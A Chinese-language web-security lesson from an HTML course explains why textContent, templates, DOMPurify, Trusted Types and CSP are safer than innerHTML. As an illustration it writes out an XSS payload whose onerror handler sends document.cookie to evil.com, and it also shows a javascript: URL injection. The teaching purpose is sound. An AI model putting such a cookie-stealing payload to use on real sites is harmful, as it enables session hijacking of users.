模板与 innerHTML 的安全性
了解模板为何比设置 innerHTML 更安全
模板与 innerHTML 的安全性 是 CoddyKit 上的免费 HTML Academy 课时。 这是第 4 节课,共 4 节。 你可以在下方免费阅读本课时的完整内容 — 然后在浏览器中使用内置代码编辑器和全天候 AI 导师进行实践。 这是 HTML Academy 学习路径的一部分,你的进度在网页和 CoddyKit 应用中同步。 HTML Academy 课程共包含 4 节课。
innerHTML 注入风险
设置 el.innerHTML = userInput 会将字符串解析为 HTML。如果 userInput 包含 <script> 或 onerror 等事件处理器,浏览器就会执行它们,从而造成跨站脚本攻击(XSS)漏洞。
通过 innerHTML 实现 XSS 的示例
攻击者提交了一个用户名:<img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">。如果使用 innerHTML 渲染该内容,onerror 就会触发并窃取会话 cookie。文本内容会变成可执行代码。
textContent 是安全的
el.textContent = userInput 会将字符串视为纯文本——不会解析 HTML,也不会执行脚本。浏览器会在文本节点中自动转义 < 和 >。对于用户提供的值,请始终使用 textContent。
// SAFE
nameEl.textContent = user.displayName;
// DANGEROUS
nameEl.innerHTML = user.displayName;template 元素避免字符串解析
使用 template.cloneNode(true) 时,结构来自预先解析的 HTML template,而不是用户提供的字符串。通过克隆节点上的 textContent 设置值,可以让用户 data 始终保留在文本节点中,而不会进入解析后的 HTML。这样就实现了结构与 data 的分离。
需要 innerHTML 时进行清理
如果需要保留用户提供的 HTML 格式(富文本),请在设置 innerHTML 之前进行清理。DOMPurify 是标准库:el.innerHTML = DOMPurify.sanitize(richHtml)。它会移除危险的标签和属性,同时保留安全的格式。
insertAdjacentHTML 风险
insertAdjacentHTML("beforeend", html) 同样会解析 HTML 字符串,因此与 innerHTML 存在相同的 XSS 风险。请应用相同的清理规则。更安全的替代方式是:使用 createElement 创建元素,设置其 textContent,然后使用 appendChild。
setAttribute 安全性
使用用户 data 设置属性可能造成注入:el.setAttribute("href", userUrl),其中 userUrl 为 javascript:alert(1),这样就会产生 XSS。请验证 URL 方案:在设置 href 或 src 属性之前,只允许 http:、https: 和 mailto:。
DOM 篡改
DOM 篡改是一种攻击方式:命名的表单元素(id="getElementById")会覆盖全局 JavaScript 变量。请始终通过 document.getElementById() 访问元素,而不要使用全局 window 属性。Content Security Policy 也能缓解篡改攻击。
Trusted Types 策略
Trusted Types(Chrome,通过 CSP 强制执行)要求所有 innerHTML、insertAdjacentHTML 及类似的接收点都必须接收由策略封装的字符串。不能直接赋值原始字符串——只能使用已声明的 TrustedTypes 策略创建的值。这样可以防止意外绕过清理过程。
DocumentFragment 安全性
使用 DOM API(createElement、createTextNode)创建元素,并在 DocumentFragment 中操作这些元素,天然可以防范 XSS——文本始终是文本,而不会被解析为 HTML。DocumentFragments 是构建复杂动态界面最安全的方式。
Content Security Policy
严格的 CSP(不使用 unsafe-inline,脚本采用基于 nonce 的方式)可以作为防御纵深来抵御 XSS。即使攻击者注入 HTML,CSP 也会阻止注入的脚本执行。CSP 不能消除清理的必要性——它是安全网,而不是首要防御手段。
知识检查
对于渲染用户提供的 data,为什么 textContent 比 innerHTML 更安全?
总结
innerHTML 及相关 API 会解析 HTML 字符串;当用户 data 未经清理就被插入时,会造成 XSS 漏洞。使用 textContent、通过 textContent 填充的 template 克隆、用于富文本的 DOMPurify,以及 Content Security Policy,可以构建抵御 HTML 注入攻击的分层防御。
用 AI 导师学习 HTML — 免费
在浏览器中编写并运行真实代码,获得全天候 AI 导师的即时帮助,并在网页或应用中继续学习。
- 课程
- 40
- 课程
- 159
常见问题解答
「模板与 innerHTML 的安全性」课时是免费的吗?
是的 — 「模板与 innerHTML 的安全性」的完整文本可在网页上免费阅读。要进行交互式练习(内置代码编辑器和全天候 AI 导师)并解锁 HTML Academy 课程的其余内容,请升级到 CoddyKit PRO。 HTML Academy 课程共包含 4 节课。
「模板与 innerHTML 的安全性」这节课中我会学到什么?
了解模板为何比设置 innerHTML 更安全 你通过在浏览器中直接运行的动手代码来练习 HTML Academy,全天候 AI 导师会在你学习这节课的过程中回答你的问题。
学习 HTML Academy 需要有经验吗?
无需任何先前经验。CoddyKit 上的 HTML Academy 课程适合初学者到高级学习者,你可以从这里开始或从头开始,按照自己的节奏学习。 这是第 4 节课,共 4 节。
「模板与 innerHTML 的安全性」课时需要多长时间?
大多数 CoddyKit 课程大约需要 5–10 分钟。每节课都很精短且互动,所以你能稳步进步,并在网页和应用中从离开的地方继续。
我能在这节 HTML Academy 课中编写并运行代码吗?
能。每节 HTML Academy 课都包含内置代码编辑器,你可以在浏览器中直接编写并运行真实代码,并获得即时 AI 反馈 — 无需本地设置。
此课程中的所有课时
- template 元素:惰性内容
- 使用 cloneNode 克隆模板
- 将 template 用于 JavaScript 渲染
- 模板与 innerHTML 的安全性